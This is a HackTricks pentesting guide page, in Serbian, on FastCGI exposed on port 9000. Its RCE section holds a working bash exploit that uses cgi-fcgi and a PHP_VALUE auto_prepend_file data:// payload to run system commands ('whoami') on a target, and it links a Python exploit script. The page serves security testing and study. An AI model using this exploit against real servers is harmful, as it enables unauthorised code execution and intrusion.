hacktricks/src/network-services-pentesting/9000-pentesting-fastcgi.md

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# Osnovne informacije
Ako želite da **naučite šta je FastCGI** pogledajte sledeću stranicu:
{{#ref}}
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
{{#endref}}
Po defaultu, **FastCGI** radi na **portu** **9000** i nije prepoznat od strane nmap-a. **Obično** FastCGI sluša samo na **localhost**.
# RCE
Veoma je lako naterati FastCGI da izvrši proizvoljan kod:
```bash
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
ili možete koristiti sledeći python skript: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
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